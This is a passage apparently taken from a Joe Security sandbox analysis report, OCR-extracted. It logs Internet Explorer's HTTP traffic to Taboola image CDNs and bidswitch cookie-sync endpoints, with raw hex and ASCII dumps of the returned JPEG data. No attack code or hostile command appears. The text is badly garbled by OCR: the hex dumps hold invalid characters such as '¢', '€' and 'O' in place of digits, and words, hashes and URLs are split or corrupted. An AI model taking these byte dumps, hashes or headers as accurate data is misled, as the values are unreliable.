Cache-Control: no-cache, no-store, must-revalidate

Date: Thu, 07 Oct 2021 14:20:10 GMT

Location: https://x.bidswitch.net/ul_cb/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1

Set-Cookie: tuuid=e3c6ab64-6227-451b-a0eb-80821c5205hb0; path=/; expires=Fri, 07-Oct-2022 14:20:10 GMT; domain=
.bidswitch.net; samesite=none; secure

Set-Cookie: c=1633616410; path=/; expires=Fri, 07-Oct-2022 14:20:10 GMT; domain=.bidswitch.net; samesite=none;
secure

Set-Cookie: tuuid_lu=1633616410; path=/; expires=Fri, 07-Oct-2022 14:20:10 GMT; domain=.bidswitch.net; samesit
e=none; secure

Set-Cookie: c=1633616410; path=/; expires=Fri, 07-Oct-2022 14:20:10 GMT; domain=.bidswitch.net; samesite=none;
secure

Content-Length: 0

Connection: Close

Destination IP  Destination Port Process
151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/https%3A
%2F%?2Fconsole.brax-cdn.com%2Fcreatives%2Fe3c5e00c-8d4e-4ffb-9b76-5a7¢81cdd776%2F 77745de3383e60a935ce
533068c740ef_1000x600_e4825edeadeb82408ffh2966288c972c.png HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-10-07 14:20:18 UTC 36

2021-10-07 14:20:18 UTC 37

2021-10-07 14:20:18 UTC 38

2021-10-07 14:20:18 UTC 40

2021-10-07 14:20:18 UTC 41

2021-10-07 14:20:18 UTC 42

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 18104

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With
access-control-allow-origin: *

edge-cache-tag: 546072676928805374127691664947681238562,335819361778233258019105610798549877581,29ec
f9b93bbf306179626feedalfab70

etag: "408242bc2fe46df4413455cc215ef78a"

last-modified: Sat, 28 Aug 2021 04:10:34 GMT

status: 200 OK

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 99

x-ratelimit-reset: 1

x-request-id: 68faeb3514caa9fe75ach6dfa05edb16
X-envoy-upstream-service-time: 71

X-backend-name: LA_DIR:3FP7YNX3LMizprTZsG7BSW--F_LA nlb201
Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Thu, 07 Oct 2021 14:20:18 GMT

Via: 1.1 varnish

Age: 1191465

X-Served-By: cache-wdc5529-WDC, cache-mxp6940-MXP

X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

X-Timer: S1633616418.068662,VS0,VE1

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
ps%3A%2F%2Fconsole.brax-cdn.com%2Fcreatives%2Fe3c5e00c-8d4e-4ffh-9b76-5a7c81cdd776%2F77745de3383e60a
935ce533068c740ef_1000x600_e4825edeadeb82408ffh2966288c972¢c.png
X-vcl-time-ms: 1

Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 07 b8 49 43 43 5f 50 52 4f 46 49 4c 45 00 01
01 00 00 07 a8 61 70 70 6¢ 02 20 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d9 00 02 00 19 00 Ob 00 1a 00 Ob 61 63
7370 41 50 50 4c 00 00 00 00 61 70 70 6¢ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6 d6 00 01 00 00 00
00 d32d 61 70 70 6¢c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Ob 64 65 73 63 00 00 01 08 00 00 00 6f 64 73 63 6d 00 00 01 78 00 00 05 6
€ 6370 72 74 00 00 06 e4 00 00 00 38 77 74 70 74 00 00 07 1c 00 00 00 14 72 58 59 5a 00 00 07 30 00 00 00 14 67 58
59 5a 00 00 07 44 00 00 00 14 62 58 59 5a 00 00 07 58 00 00 00 14 72

Data Ascii: JFIFICC_PROFILEappl mntrRGB XYZ acspAPPLappl-appldescodscmxlcprt8wiptrXYZ0gXYZDbXYZXr

Data Raw: 00 63 03 93 03 b5 03 bd 03 b9 03 ba 03 cc 00 20 03 c0 03 c1 03 bf 03 c6 03 af 03 bb 00 20 00 52 00 47 00 42
0050 00 65 00 72 00 66 00 69 00 6¢ 00 20 00 52 00 47 00 42 00 20 00 67 00 65 00 6e 00 €9 00 72 00 69 00 63 00 6f 00
41 00 6¢ 00 67 00 65 00 6d 00 65 00 65 00 6e 00 20 00 52 00 47 00 42 00 2d 00 70 00 72 00 6f 00 66 00 69 00 65 00 6¢
Oe 42 Oe 1b Oe 23 Oe 44 Oe 1f Oe 25 Oe 4c 00 20 00 52 00 47 00 42 00 20 Oe 17 Oe 31 Oe 48 Oe 27 Oe 44 Oe 1b 00 47 00 6
500 6e 00 65 00 6¢ 00 20 00 52 00 47 00 42 00 20 00 50 00 72 00 6f 00 66 00 69 00 6¢ 00 69 00 59 00 6¢ 00 65 00 69 00
6e 00 65 00 6e 00 20 00 52 00 47 00 42 00 2d 00 70 00 72 00 6f 00 66 00 69 00 69 00 6¢ 00 69 00 55 00 6e 00 69 00 77
00 65 00 72 00 73 00 61 00 6¢ 00 6e 00 79 00 20 00 70 00 72 00 6f 00

Data Ascii: ¢ RGBPerfil RGB genricoAlgemeen RGB-profielB#D%L RGB 1H'DGenel RGB ProfiliYleinen RGB-profiiliUni
wersalny pro

Data Raw: cc 34 41 d3 53 54 7c 29 6e 49 03 52 95 85 1d 31 8b 27 16 17 be 4c 2 f9 f9 bf 63 0b 97 9¢ 43 d3 b4 1c 07 53 e3
fd 3f c6 fa fa 25 75 d2 67 d1 24 52 46 dd 9e 7a b5 a6 ¢3 36 d9 28 27 a4 86 f3 cd b4 9f 84 7b ef €8 7d cb 1a 64 79 30 09 Oa
1d 9e 68 1e 6¢ 48 f1 a5 17 9b 8e f2 1b a4 73 9b 83 78 90 d4 ef 31 47 d0 a6 3f 7d 61 e3 c1 2b 9d 16 bf ea 78 b6 60 ba bd
63 cf f5 ab 40 f5 93 07 71 49 ba cb c1 dc 2b 6e dd 56 0d cf 48 b4 c2 c7 94 31 bc ef af c9 58 a6 db b6 5f 5b 9c 5d Oa bd 3e
3e 40 bf b9 98 26 79 83 6f 3c 35 d2 95 db 91 dO 16 el 3a 99 c9 2f ¢7 45 30 d8 18 a9 a8 0f 69 23 8a 3c 76 0d 26 b6 38 94
55 2¢ 4a d4 53 2a 9d 21 77 3c 1d c5 b0 3a 68 ae bd 7e b8 b2 69 b2 db 42 87 9¢ 3b Oe 2f 23 1e 81 98 2c 46 cb 73 27 93
5a 38 d9 b5 4f 43 el d5 51 Oa 81 85 ad 08 23 ba db

Data Ascii: 4AST|)nIR1'LcCS?%ug$RFz6('{}dyOhIHsx1G?}a+x c@ql+nVH1X_[]>>@&y0<5:/EQi#<v&8U,JS*w<:h~iB
J1#,FS'Z80CQ#

Data Raw: 31 fc 97 55 dc d5 d8 a2 1b 88 ad 4b 11 2b 06 8a db 8e 89 3e 56 8b d2 95 b2 03 93 13 29 9f 99 4b 3e Ob 46 07
3f 81 65 56 7e 35 ed 8a 27 50 92 e3 45 54 8e 78 d5 4d b1 7a c8 09 26 68 ed cd ¢8 80 36 29 17 c7 3f 23 11 7a bl 43 4b b7
b9 26 b7 14 8a 55 d4 84 9d 5 7f 68 c2 33 96 2a 8¢ 82 ad 33 2b 76 ca fa c9 10 9c 94 cc 93 78 3e b0 b2 80 a9 e0 e9 Oa 62
a3 b7 da a5 a0 ba 41 48 c2 cb 8e ba 5¢ b5 63 3¢ 4a 59 €3 99 e0 0d 86 73 1c 92 6e bc 4d 7d 99 67 25 16 51 0a 9a a9 11
8b 0a 22 06 af 1f 64 e4 46 ae 47 08 15 6a 57 62 ac f7 ac 51 32 5a 41 63 a2 7e 75 65 98 91 16 c8 Oe 3a c5 5f 29 79 94 8¢
c2 eb 3 ed d6 fd cf 7b 8e 14 0f b7 65 a6 45 25 Oc b4 ce a2 44 9a Oc 74 47 32 58 2f b7 99 90 c6 9a e6 38 00 a8 5f be 86 a8
fc 73 0a a4 b2 3e 08 a5 35 06 66 56 48 75 29 2e d6 11 el

Data Ascii: LTUK+>V)K>F?eV~5'PETxMz&h6)?#zCK&Uh3*3+vx>bAH\c<JYsnM}g%Q"dFGjWbQ2ZAc~ue:_)y{eE
%DtG2X/8_s>5fVHu).

Data Raw: 6f f2 51 16 aa e7 60 20 42 ae e7 17 db 79 b1 90 6 d4 4b a7 9b 1b 3d b8 6¢ 04 cc 77 c5 3f 6f 6d d2 f9 af 7f f4 88
04 93 68 ee 0a 51 ea 6d 38 82 a3 99 b1l bb 7 da 92 4e ca 51 c7 5f f4 fb 74 94 2b 29 82 b5 4d 75 2a 5d c6 86 62 ba 79 45
de da 94 80 d7 74 f5 35 2c a0 be 2d 20 3d c4 f2 25 5¢c 0a 62 75 69 1d 96 8e c7 13 61 55 ad 08 b3 6b 67 fO f8 c4 5b fa 9a
ed 53 f4 d7 24 3c 33 78 3f 6d 60 02 4a 6a 6e 47 31 03 8f 7c d4 1f aa 65 ab 2c e5 47 47 33 b8 f1 e7 5d d1 7d fb a7 22 94
3555 2b ab 71 cd b4 d9 46 4b 15 77 31 b6 41 b0 01 b6 06 a6 c8 b1 28 71 15 1c 46 d2 c9 9c aa ae 40 f6 b0 d4 Oa c5 1b 95
18 cd d5 13 3e c7 73 a4 3d 41 62 7c ch a6 db f9 f4 19 ae €6 d6 9d c3 8c 89 89 bl 83 56 e2 c0 18 4a c9 fb 8f 71 e4 b3 2a
e2 cc d0 d9 76 ef 31 67 62 73 98 6f a5 d9 af 5a b8

Data Ascii: 0Q" ByK=Ilw?omhQm8NQ_t+)Mu*]byEt5,- =%\buiaUkg[S$<3x?m JjnG1|e,GG3]}"5U+qFKwW1A(qF@>s=Ab|V
Jg*vlgbsoZ
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kBytes
transferred

Timestamp

2021-10-07 14:20:18 UTC 44

2021-10-07 14:20:18 UTC 45

2021-10-07 14:20:18 UTC 46

2021-10-07 14:20:18 UTC 48

2021-10-07 14:20:18 UTC 49

2021-10-07 14:20:18 UTC 50

2021-10-07 14:20:18 UTC 52

2021-10-07 14:20:18 UTC 53

2021-10-07 14:20:18 UTC 54

kBytes
transferred

Session ID Source IP
21 192.168.2.5
Timestamp

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49845

Direction

Data

Data Raw: 6¢ 75 8c ee 6d f9 41 96 50 8b 59 f5 1d 86 bf 32 87 58 b3 68 50 59 2a 08 4d bc b5 54 92 bf 4d 57 04 e5 bc 38 84
d1 bl Oe bb 29 al 7b 13 7d b9 66 f3 1f 4c ae 70 da d6 4e 12 9e cd 64 28 17 d0 Oc b8 c7 62 ab 22 8e 31 ad b2 45 88 09 90
66 46 a4 e2 db 68 57 06 6e 83 c9 2d 61 59 c5 32 e5 05 82 1c 95 1a d6 d8 b6 e4 66 fe 0d 1e 43 e7 25 9f 1a 42 6¢ 9a 48 dc
59 36 56 12 04 ba c3 6e 67 d2 8a €9 c8 d4 b1 36 6a 59 3d 59 31 b3 97 a2 3c ad 96 32 47 e1 53 33 96 d1 89 ca cd 2c 3b
c7 Oc 36 63 de 5a ba 48 bb 72 d0 d0 40 a7 12 7e 50 27 b5 f4 f1 8d 3c 85 a7 68 27 13 55 eb 70 54 ab 73 1c a8 19 40 ab 77
1c 9d 41 83 c7 ee 55 78 21 b7 25 5b b6 b7 b7 f2 b3 4f dc 5b 75 97 90 d7 82 6d e3 22 c5 81 b2 83 b9 8d 75 1b 29 ae bf 26
39 ab 72 86 bb fd 9d 59 89 89 9c 88 46 40 3a b5 4f e5 b0

Data Ascii: lumAPY2XhPY*MTMW8){}fLpNd(b"1EfFhWn-aY2fC%BIHY6Vng6jY=Y1<2GS3,;6cZHr@~P'<h'UpTs@wAUx!%
[O[um"u)&9rYF@:0O

Data Raw: 26 3e 21 84 0b e3 e6 1d 3a 9e 64 b4 16 16 29 58 8c 49 49 1f c4 24 24 8c 74 68 10 80 89 9f 71 00 c9 80 65 16
2597 d7 ee 8f 01 8a fd 55 67 71 bc 0f d3 7a al 77 21 63 21 15 ad 56 1b b6 6b d8 b2 26 67 33 cc ce 4a a8 5¢ ac 60 74 72
8 dc cd 6b d5 b1 6d a3 5a a7 a9 38 da f1 4a a6 2c 36 35 9b ac ef 7c a8 6d 9c 5 22 35 a3 17 8e {7 d5 eb d7 13 39 b6 ff 00
f 00 52 b0 c2 9f b9 9d a7 fc cc eb 9e 7f 87 79 8d 71 3a 58 4c ce bc 73 e5 9e 4b c7 25 f1 10 ba 45 e4 Oe fa 39 ab 5c c3 al
64 29 59 ad 86 4e 52 d3 ed b3 ea 98 1c 0d 2c 36 27 67 63 ab 64 33 c¢9 Ob 01 5e 55 51 7e 2a d5 b0 5b 6a 9e 07 23 72 cd
3b 5e 6e 7f 7e fa f2 6b 76 6d 5b b9 fb 8b b4 19 1c 06 d1 a5 83 b5 36 87 29 2c e7 50 7a f2 ¢4 6a 2c eb c9 13 1c f1 06 3a 92
8e bf 9e c7 c7 €6 1b 3a 82 19 d4 84 €9 15 9b 33 db

Data Ascii: &>!:d)XII$$thqe%Uggzw!c!Vk&g3JI\'trkmZ8J,65|m"59Ryq: XLsK%E9\d) YNR,6'gcd3"UQ~*[j#r;"n~kvm([6),Pzj,::3

Data Raw: ae 88 c2 67 e4 75 ca bb 06 dd bf 23 Oe 93 5a 05 7a 76 3e a0 c3 a6 d6 55 1c 0d 1b Oe 7b f7 b4 ed cO ae 86 32
b6 e2 cd 81 87 da 12 96 fe €9 7 a5 60 {7 6¢ 9a 13 40 bf ec b4 e3 c2 08 25 08 f9 b0 al 55 67 50 4f 40 4c a8 c2 a2 81 36 f3
05 4f 5f 0f ab e9 6f 5d 5 7b 6f 98 ¢5 42 96 3d 00 b2 66 2c 98 35 09 b9 08 65 8f a6 d3 96 ad a9 b9 b9 02 84 d1 7b 47 50 98
c2 1d a5 7a 29 f0 6a 60 f6 96 2d al 72 b7 bf f4 99 7d a4 94 87 13 58 bb 6b 1d a6 bb 36 3c da c1 93 1f bc 0d Oe 78 €9 31
7b 53 12 a2 a3 de fa ec 38 3e 21 f6 9a 9c 63 8f e6 Oe ab da 7f 13 40 5b 62 58 ed 66 a0 f6 ae 3f 8b 1b 08 3d ab 83 f6 bc 5¢c
a8 3d a0 75 14 68 b8 33 3e bb 1e 4c 19 16 b8 64 23 92 26 8f 54 9a 5¢ 45 49 b2 7c 73 33 ea d7 26 ab 16 al 45 14 14 01
80 le 7b 57 22 51 24 10 a0 f9 37 00 20 1b 15 e2 04

Data Ascii: gu#Zzv>U{2' |@%UgPO@L60_oJ{oB=f,5e{GPz)j -r}Xk6<x1{S8>!c@[bXf?=\=uh3>Ld#&T\El|S3&E{W"Q$7

Data Raw: 02 d2 07 23 83 d2 3f 94 90 6f 88 08 3e 3 65 9e b0 ba 1c 01 37 Oe 04 50 31 b0 6b b2 08 34 04 cd 4e e4 dc 5¢c
bb 71 3e 30 a4 83 7c c6 23 68 f3 5d fO 60 2a 2c 36 46 15 d0 08 c5 09 5a 66 24 75 b8 d9 16 88 b6 €9 28 01 44 18 01 14 2a
2a 9a 6e bc c1 8a ba 98 30 df 04 58 83 0a Oe b5 36 e2 0a c3 68 e9 2f 08 06 a0 7c le 5f 2c 18 dc f6 8d 83 21 37 b0 45 c2
52 ae a7 84 b6 78 32 ac 8b 80 1b a9 cf 41 d0 cO al 17 98 f9 8d fb cb 73 de 79 ab d4 63 05 34 04 f0 bb 3 36 9f 78 cd d8
19 4d 7e a8 11 07 a8 dc 01 0d 05 04 41 87 f6 87 ¢3 5a al 66 64 7b 34 3b c1 8c 4d a2 6¢ f8 83 1f ¢4 da 61 c7 d2 da e2 e2
51 da 78 Oc 4d dd 09 el el 07 99 bc Oe 8b 42 16 24 f5 85 a8 4c 6b 7e 62 65 09 75 01 7 30 1b 1d 4c bf 89 48 26 €0 23 96
3d e0 da 3e 4c 2f ef 19 cd 9d b0 23 19 e6 al 42 17 51 ea

Data Ascii: #?0>e7P1k4N\q>0[#h] * 6 FZf$u(D**n0X6h/|_,!7TERX2Asyc46xM~AZfd{4;MlaQxMBS$Lk~beuOLH&#=>L/#BQ

Data Raw: 65 e2 af be 1a 1d cf 18 7e 4c 4f d4 67 fa 77 7f 6¢ 89 3d 3b e3 1f 61 c0 fd €3 87 1b 1a bd ce 50 1e e3 0b 93 d2
8124 7d b3 61 ee 3f fe e2 91 9 43 02 9f 41 f2 37 86 87 db 04 63 €9 67 27 95 cf 6d 95 58 41 ec d4 01 1f 5b c7 6f fe fa c1
25 7a bb 64 40 bl e8 7d b3 67 d3 f7 4d 13 ce 0d 2c ed 2c 8b e0 a4 c2 65 01 0d Ob 61 87 db 8a c6 38 bf 52 70 83 ed 2 €9
80 11 db 2c e6 9 c8 Oc d2 3f 91 55 4c 5e 27 ea 4e 2a af b2 e1 07 d3 09 fa el al dO 76 c2 4e 10 3d 72 fe 46 fe b8 3e 4d bh
8d b5 d3 5 cd 3a ff 00 d5 bf e8 00 38 82 07 9d 62 04 86 54 de c2 c0 20 Oc e0 35 82 90 3c 9f aa 9c 92 14 74 2a fa ad 40 01
b9 fe 44 18 b3 40 ec Oc b0 3fe5 7a 15 63 d1 b2 5d 26 a8 d5 69 e7 01 6¢ 9e c8 dd 1b 25 1e 84 af 07 05 fb 8¢ 19 7e 84 61
7 38 bc 60 9f 5e eb 69 0f 64 07 8 e5 f4 5f

Data Ascii: e~LOgwl=;aP$}a?CA7cg'mXA[0%zd@}gM,,ea8Rp,?ULMN*VN=rF>M:8bT 5<t*@D@?zc]&il%~a8 "Nid_

Data Raw: 78 Oc 92 45 a8 dd 2c 8c 5d fa 96 00 d7 4e 99 f0 37 04 Oe 8f 24 46 87 41 42 b3 44 eb c8 60 9a e2 3f b9 c9 58 dO
e53591 bl e38033e2c9 f431c9fec33e 2919 54 2a 37 69 b7 7a 9e 76 9c 98 6f 8d 07 e2 e9 64 42 0a 35 90 6b 76 69
4f 27 87 Oe a3 f2 fa 32 e7 ¢3 a9 63 00 05 91 3f fd 86 69 59 82 7e 58 e4 43 66 fd 03 1c f8 6e 8e 59 f4 c8 €9 09 90 12 01 ab
49 30 45 32 24 69 1b b9 25 2d 5f 93 fa ae 68 8c 49 12 34 fe 75 bf 14 02 5¢ ad 9f ca 5b 34 32 4e d3 53 22 c¢8 94 23 04 10
€3 9c 8251 0c 91 18 42 93 f8 ¢3 79 52 46 6f 09 a5 49 ed 4f 5f 25 94 ff 00 30 27 27 dd 2e 95 b5 08 3a ed 48 d1 98 83 ef e5
cd 48 79 a3 96 48 94 c7 d5 62 26 fe db 4e 48 11 ¢7 88 af el b7 31 81 4c df 40 72 6d 3c d4 82 d2 d0 8f 13 a0 3e c4 64 92
18 d4 24 56 c2 95 40 06 97 24 8a 47 d9 73 c7 e4

Data Ascii: XE,]N7$FABD’?X531>)T*7izvodB5kviO'2c?iY~XCfnYI0E2$i%-_hl4u\[42NS"#QByRFolO_%0".:HHyHb&N
H1L@rm<>d$V@$Gs

Data Raw: 76 f8 6c fc 3a 7a 9c 86 4d 2f 8d a8 b8 46 da 92 07 16 9f f6 €3 bb 78 2c ea c9 60 84 5a 06 33 d3 ca 71 df f1 18
0Ob 6a 24 16 1f ec 6b 21 b9 57 ¢3 53 27 4b 57 3¢ 1b c4 3b f4 f2 9d f1 aa b5 da af a7 f9 71 d4 97 97 a3 f2 1b d0 8a ee 33 41
Oe 91 64 81 59 e7 90 a3 94 2f 4c 8a la af 8c d2 49 1a fc 4a 68 14 a4 6b 64 22 da 93 7c 62 47 a5 10 9f 14 2c Oa 3a 29 3b
86 6b f5 09 3c 85 5a 20 88 bb c0 e8 71 d4 c7 aa 65 83 c4 d4 a4 4c 8a 54 30 51 64 58 ¢8 02 31 d2 c8 88 7e 22 a4 23 02 77
d6 d6 39 06 c5 d5 06 56 Oc cd b8 05 03 b7 15 63 04 aa 36 56 9b 4c f4 ee ed 63 ca a6 c6 d5 1c 92 73 48 93 cd 12 8d 5a c8
b3 3a c9 4b b4 6e 67 32 58 c8 19 e6 81 7 6¢ 4a 0a 08 el 10 f6 41 d9 46 7f c8 5e 07 f9 72 62 be 59 11 b7 80 63 74 e4 15
al c6 34 da 79 60 30 3a 48 e5 ad 18 57 56 b3 78 f5

Data Ascii: vI:zM/Fx, Z30qj$k!WS'KW<;q3AdY/LIJhkd"|bG,:);k<Z qeLTOQdX1~"#w9Vc6VLcsHZ:Kng2XIJAF rbYct4

y 0:HWVx

Data Raw: 20 6a 55 23 b1 f5 c4 48 99 c0 45 4e 05 a8 eb 9d 1c 3b 82 6b 7f 6a €7 24 57 69 08 4d 8a c4 28 bb 19 20 97 92
54 c4 c6 cf 53 df 23 62 c4 5 35 55 eb 90 ee b2 08 04 58 fb 5e 2c f2 5e cd a2 72 94 de fe 42 33 e2 5b ¢4 80 10 a8 25 Oa 3b
91 54 5b 35 6b 11 df b8 49 19 47 6a {7 21 f3 el d5 e5 da 3c 69 51 88 {7 2c ¢9 79 04 01 58 d9 8f 50 5e af 82 40 04 9c 40
b5 41 57 7a 81 66 f9 20 d9 c6 44 Ob ca 42 ef b7 8f 50 cd ce 05 4e 3c f7 bc 31 3¢ 82 7b 77 c1 34 c8 ab bb c0 4e 45 7f d3 04
64 92 4a 65 76 de cd el 04 e6 c1 ee 5b €9 88 85 e4 2e db 01 72 49 {7 7e 83 0b 04 8f c8 65 62 ed e7 24 91 91 42 a2 36 02
€9 49 b2 0f 6¢ fd a0 9e a9 17 6¢ 2b 51 b2 53 35 dd e4 e8 ac e4 94 42 69 89 f6 5¢ 68 d1 b7 1b 6e f8 1d b9 1e 83 16 33 b5
45 55 00 7d 4e 09 1a cf 23 f2 af b0 cf 36 e6 3f d3

Data Ascii: JU#HEN;K$WiM( TS#b5UXA ArB3[%;T[5KIGj!<iQ,yXP @ @AWzf DBPN<1<{w4NEdJev[.r~eb$B6IlI+QS5
BI\hn3EU}IN#6?

Data Raw: f3 b5 10 3f f2 03 e5 cd 61 39 61 4f 1f 40 73 e2 3f 12 d7 ea 61 fc 20 91 24 49 09 6e 9b d7 9b 39 a4 d0 e8 74 6f
bd 10 06 7d 43 5f ae 26 f4 db el b8 el 5d 24 fc ac 2f 13 c4 83 4d 1c 6e 10 da 86 51 46 be 47 f7 c7 c8 5f be 0f 90 c1 fb b2
4a 8a 68 ca 48 44 07 d3 73 64 3a 96 Ob f8 8f 01 2c 88 dd d3 71 ab 23 04 6d 3c ae 03 b0 b0 a0 02 c4 d7 d0 63 ch a9 Oc 58
05 55 8a 25 62 2b ca 8b 86 f2 13 14 89 0a 3d b5 14 31 Oe ad 7f f9 13 fb 88 75 52 bc 9e 1c fe 3f 46 9b be d2 3a ae 44 44 8f
b0 94 7b 28 4f 3c fd 71 c1 d1 c2 d3 28 1d Ob 1f 27 3f 7f 9f 4c 3f 4a ff 00 04 ff 00 87 ff d9

Data Ascii: ?7a9a0@s?a $In9to}C_&]$/MnQFG_JhHDsd:,g#m<cXU%b+=1uR?F:DD{(O<q('?L?J

Destination IP Destination Port Process

151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data
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kBytes
Timestamp transferred

2021-10-07 14:20:18 UTC 35

2021-10-07 14:20:18 UTC 55

2021-10-07 14:20:18 UTC 56

2021-10-07 14:20:18 UTC 57

2021-10-07 14:20:18 UTC 58

2021-10-07 14:20:18 UTC 60

2021-10-07 14:20:18 UTC 61

Copyright Joe Security LLC 2021

Direction

ouT

Data

GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2Ce_sharpen/https%3A
%2F%2Fprezna.com%2Fget%2FXX2-4159422330900454935.jpg HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 27821

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With
access-control-allow-origin: *

edge-cache-tag: 503270856721163174491330384225075403430,335819361778233258019105610798549877581,29¢ec
f9b93bbf306179626feedalfab70

etag: "09bf7a7a36b88a5d861dd00d6c9c6ec41"

last-modified: Sun, 05 Sep 2021 02:49:43 GMT

status: 200 OK

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 99

x-ratelimit-reset: 1

x-request-id: 64c0122bc97131a60739d3855a572118
X-envoy-upstream-service-time: 76

X-backend-name: LA_DIR:3FP7YNX3LMizprTZsG7BSW--F_LA nlb201
Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Thu, 07 Oct 2021 14:20:18 GMT

Via: 1.1 varnish

Age: 1541754

X-Served-By: cache-wdc5526-WDC, cache-mxp6931-MXP

X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

X-Timer: S1633616418.068716,VS0,VE1

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
ps%3A%2F%2Fprezna.com%2Fget%2FXX2-4159422330900454935.jpg
X-vcl-time-ms: 1

Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 Oc 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01
01 00 00 Oc 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63

7370 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00

00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00
6c 77 74 70 74 00 00 01 fO 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58

59 5a 00 00 02 2¢ 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64

Data Ascii: JFIFXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d

Data Raw: 03 66 03 72 03 7e 03 8a 03 96 03 a2 03 ae 03 ba 03 ¢7 03 d3 03 e0 03 ec 03 f9 04 06 04 13 04 20 04 2d 04 3b
04 48 04 55 04 63 04 71 04 7e 04 8¢ 04 9a 04 a8 04 b6 04 c4 04 d3 04 el 04 fO 04 fe 05 Od 05 1c 05 2b 05 3a 05 49 05 58
0567 05 77 05 86 05 96 05 a6 05 b5 05 ¢5 05 d5 05 e5 05 f6 06 06 06 16 06 27 06 37 06 48 06 59 06 6a 06 7b 06 8¢ 06
9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 bf 07 d2 07 e5 07 f8 08
Ob 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 e7 08 fb 09 10 09 25 09 3a 09 4f 09 64 09 79 09 8f 09
a4 09 ba 09 cf 09 e5 09 fb 0a 11 0a 27 Oa 3d Oa 54 Oa 6a 0a 81 Oa 98 Oa ae Oa c5 Oa dc Oa f3 Ob Ob Ob 22 Ob 39 Ob 51 Ob
69 0b 80 Ob 98 Ob b0 Ob c8 Ob e1 0b f9 Oc 12 Oc 2a Oc 43 Oc

Data Ascii: fr~ -;HUcq~+:IXgw'7HYj{+=0at2FZn%:Ody'=T|"9Qi*C

Data Raw: 97 75 97 €0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a d5 9b 42 9b af 9c 1c 9c 89 9c f7 9d 64 9d d2 9e 40 e ae 9f
1d 9f 8b 9f fa a0 69 a0 d8 al 47 al b6 a2 26 a2 96 a3 06 a3 76 a3 e6 a4 56 a4 c7 a5 38 a5 a9 a6 la a6 8b a6 fd a7 6e a7
e0 a852 a8 c4 a9 37 a9 a9 aa 1c aa 8f ab 02 ab 75 ab e9 ac 5c ac dO ad 44 ad b8 ae 2d ae al af 16 af 8b b0 00 b0 75 b0
ea bl 60 bl d6 b2 4b b2 c2 b3 38 b3 ae b4 25 b4 9c b5 13 b5 8a b6 01 b6 79 b6 fO b7 68 b7 e0 b8 59 b8 d1 b9 4a b9 c2
ba 3b ba b5 bb 2e bb a7 bc 21 bc 9b bd 15 bd 8f be 0a be 84 be ff bf 7a bf f5 c0 70 c0 ec c1 67 c1 e3 c2 5f c2 db ¢3 58 c3
